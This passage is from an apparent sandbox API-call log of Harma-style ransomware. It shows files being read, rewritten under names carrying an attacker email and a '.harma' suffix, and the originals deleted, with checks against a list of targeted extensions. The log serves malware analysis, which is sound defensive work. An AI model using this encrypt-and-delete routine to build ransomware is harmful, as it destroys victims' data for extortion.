lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x106f, lpOverlapped=0x0) returned 1 [0039.975] WriteFile (in: hFile=0x178, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x1070, lpOverlapped=0x0) returned 1 [0039.976] ReadFile (in: hFile=0x180, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0039.976] WriteFile (in: hFile=0x178, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0039.976] SetEndOfFile (hFile=0x178) returned 1 [0039.976] CloseHandle (hObject=0x178) returned 1 [0039.977] SetFilePointerEx (in: hFile=0x180, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0039.977] SetEndOfFile (hFile=0x180) returned 1 [0039.978] CloseHandle (hObject=0x180) returned 1 [0039.978] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0039.979] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-001a-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0039.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.979] lstrlenW (lpString=".doc") returned 4 [0039.979] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.979] lstrlenW (lpString=".docx") returned 5 [0039.979] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.979] lstrlenW (lpString=".pdf") returned 4 [0039.979] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.979] lstrlenW (lpString=".xls") returned 4 [0039.979] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.979] lstrlenW (lpString=".xlsx") returned 5 [0039.979] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.979] lstrlenW (lpString=".ppt") returned 4 [0039.979] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.979] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.979] lstrlenW (lpString=".zip") returned 4 [0039.979] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.979] lstrlenW (lpString=".rar") returned 4 [0039.979] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.979] lstrlenW (lpString=".bz2") returned 4 [0039.980] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.980] lstrlenW (lpString=".7z") returned 3 [0039.980] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.980] lstrlenW (lpString=".dbf") returned 4 [0039.980] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.980] lstrlenW (lpString=".1cd") returned 4 [0039.980] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.980] lstrlenW (lpString=".jpg") returned 4 [0039.980] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.980] lstrlenW (lpString=".doc") returned 4 [0039.980] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0039.980] lstrlenW (lpString=".docx") returned 5 [0039.980] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0039.980] lstrlenW (lpString=".pdf") returned 4 [0039.980] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0039.980] lstrlenW (lpString=".xls") returned 4 [0039.980] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0039.980] lstrlenW (lpString=".xlsx") returned 5 [0039.980] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0039.980] lstrlenW (lpString=".ppt") returned 4 [0039.980] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0039.980] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.980] lstrlenW (lpString=".zip") returned 4 [0039.980] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0039.981] lstrlenW (lpString=".rar") returned 4 [0039.981] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0039.981] lstrlenW (lpString=".bz2") returned 4 [0039.981] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0039.981] lstrlenW (lpString=".7z") returned 3 [0039.981] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0039.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.981] lstrlenW (lpString=".dbf") returned 4 [0039.981] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0039.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.981] lstrlenW (lpString=".1cd") returned 4 [0039.981] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0039.981] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001A-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0039.981] lstrlenW (lpString=".jpg") returned 4 [0039.981] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0039.981] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0039.981] lstrlenW (lpString="WordMUI.xml") returned 11 [0039.981] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0040.080] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1800) returned 1 [0040.080] CloseHandle (hObject=0x178) returned 1 [0040.091] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 0x2020 [0040.091] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.099] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0040.099] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.103] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.103] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x170 [0040.104] GetLastError () returned 0x0 [0040.104] ReadFile (in: hFile=0x178, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x708, lpOverlapped=0x0) returned 1 [0040.108] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x710, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x710, lpOverlapped=0x0) returned 1 [0040.109] ReadFile (in: hFile=0x178, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.109] WriteFile (in: hFile=0x170, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xea, lpOverlapped=0x0) returned 1 [0040.109] SetEndOfFile (hFile=0x170) returned 1 [0040.109] CloseHandle (hObject=0x170) returned 1 [0040.121] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.121] SetEndOfFile (hFile=0x178) returned 1 [0040.130] CloseHandle (hObject=0x178) returned 1 [0040.131] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.131] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-001b-0409-1000-0000000ff1ce}-c\\wordmui.xml")) returned 1 [0040.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.131] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.131] lstrlenW (lpString=".doc") returned 4 [0040.131] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.131] lstrlenW (lpString=".docx") returned 5 [0040.131] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.131] lstrlenW (lpString=".pdf") returned 4 [0040.131] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.131] lstrlenW (lpString=".xls") returned 4 [0040.131] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.131] lstrlenW (lpString=".xlsx") returned 5 [0040.131] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.131] lstrlenW (lpString=".ppt") returned 4 [0040.131] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.132] lstrlenW (lpString=".zip") returned 4 [0040.132] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.132] lstrlenW (lpString=".rar") returned 4 [0040.132] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.132] lstrlenW (lpString=".bz2") returned 4 [0040.132] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.132] lstrlenW (lpString=".7z") returned 3 [0040.132] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.132] lstrlenW (lpString=".dbf") returned 4 [0040.132] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.132] lstrlenW (lpString=".1cd") returned 4 [0040.132] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.132] lstrlenW (lpString=".jpg") returned 4 [0040.132] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.132] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.132] lstrlenW (lpString=".doc") returned 4 [0040.132] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.132] lstrlenW (lpString=".docx") returned 5 [0040.132] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0040.132] lstrlenW (lpString=".pdf") returned 4 [0040.132] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.132] lstrlenW (lpString=".xls") returned 4 [0040.132] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.132] lstrlenW (lpString=".xlsx") returned 5 [0040.132] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0040.132] lstrlenW (lpString=".ppt") returned 4 [0040.133] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.133] lstrlenW (lpString=".zip") returned 4 [0040.133] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.133] lstrlenW (lpString=".rar") returned 4 [0040.133] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.133] lstrlenW (lpString=".bz2") returned 4 [0040.133] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.133] lstrlenW (lpString=".7z") returned 3 [0040.133] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.133] lstrlenW (lpString=".dbf") returned 4 [0040.133] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.133] lstrlenW (lpString=".1cd") returned 4 [0040.133] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.133] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-001B-0409-1000-0000000FF1CE}-C\\WordMUI.xml") returned 74 [0040.133] lstrlenW (lpString=".jpg") returned 4 [0040.133] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.133] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.133] lstrlenW (lpString="Proof.xml") returned 9 [0040.133] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0040.134] GetFileSizeEx (in: hFile=0x178, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1458) returned 1 [0040.134] CloseHandle (hObject=0x178) returned 1 [0040.134] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 0x2020 [0040.134] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.134] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x178 [0040.279] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.280] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.280] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x184 [0040.280] GetLastError () returned 0x0 [0040.280] ReadFile (in: hFile=0x178, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x5b2, lpOverlapped=0x0) returned 1 [0040.282] WriteFile (in: hFile=0x184, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0x5c0, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0x5c0, lpOverlapped=0x0) returned 1 [0040.282] ReadFile (in: hFile=0x178, lpBuffer=0x33b0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c8fed4, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesRead=0x2c8fed4*=0x0, lpOverlapped=0x0) returned 1 [0040.282] WriteFile (in: hFile=0x184, lpBuffer=0x33b0020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2c8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x33b0020*, lpNumberOfBytesWritten=0x2c8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0040.283] SetEndOfFile (hFile=0x184) returned 1 [0040.283] CloseHandle (hObject=0x184) returned 1 [0040.284] SetFilePointerEx (in: hFile=0x178, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.284] SetEndOfFile (hFile=0x178) returned 1 [0040.285] CloseHandle (hObject=0x178) returned 1 [0040.285] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x2020) returned 1 [0040.285] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml" (normalized: "c:\\msocache\\all users\\{90140000-002c-0409-1000-0000000ff1ce}-c\\proof.fr\\proof.xml")) returned 1 [0040.285] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.285] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.285] lstrlenW (lpString=".doc") returned 4 [0040.285] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.285] lstrlenW (lpString=".docx") returned 5 [0040.285] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0040.285] lstrlenW (lpString=".pdf") returned 4 [0040.285] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.285] lstrlenW (lpString=".xls") returned 4 [0040.285] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.285] lstrlenW (lpString=".xlsx") returned 5 [0040.285] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0040.285] lstrlenW (lpString=".ppt") returned 4 [0040.285] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.286] lstrlenW (lpString=".zip") returned 4 [0040.286] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.286] lstrlenW (lpString=".rar") returned 4 [0040.286] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.286] lstrlenW (lpString=".bz2") returned 4 [0040.286] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.286] lstrlenW (lpString=".7z") returned 3 [0040.286] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.286] lstrlenW (lpString=".dbf") returned 4 [0040.286] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.286] lstrlenW (lpString=".1cd") returned 4 [0040.286] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.286] lstrlenW (lpString=".jpg") returned 4 [0040.286] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.286] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.286] lstrlenW (lpString=".doc") returned 4 [0040.286] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0040.286] lstrlenW (lpString=".docx") returned 5 [0040.286] lstrcmpiW (lpString1=".docx", lpString2="f.xml") returned -1 [0040.286] lstrlenW (lpString=".pdf") returned 4 [0040.286] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0040.286] lstrlenW (lpString=".xls") returned 4 [0040.286] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0040.286] lstrlenW (lpString=".xlsx") returned 5 [0040.286] lstrcmpiW (lpString1=".xlsx", lpString2="f.xml") returned -1 [0040.286] lstrlenW (lpString=".ppt") returned 4 [0040.286] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0040.287] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.287] lstrlenW (lpString=".zip") returned 4 [0040.287] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0040.287] lstrlenW (lpString=".rar") returned 4 [0040.287] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0040.287] lstrlenW (lpString=".bz2") returned 4 [0040.287] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0040.287] lstrlenW (lpString=".7z") returned 3 [0040.287] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0040.287] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.287] lstrlenW (lpString=".dbf") returned 4 [0040.287] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0040.287] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.287] lstrlenW (lpString=".1cd") returned 4 [0040.287] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0040.287] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-002C-0409-1000-0000000FF1CE}-C\\Proof.fr\\Proof.xml") returned 81 [0040.287] lstrlenW (lpString=".jpg") returned 4 [0040.287] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0040.287] lstrcmpiW (lpString1=".xml", lpString2=".harma") returned 1 [0040.287] lstrlenW (lpString="Setup.xml") returned 9 [0040.287] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.504] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2c8ff1c | out: lpFileSize=0x2c8ff1c*=1872) returned 1 [0040.504] CloseHandle (hObject=0x198) returned 1 [0040.504] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0040.504] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0040.504] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0040.504] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.504] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c8fec8 | out: lpNewFilePointer=0x0) returned 1 [0040.504] CreateFileW (lpFileName="C:\\MSOCache\\All 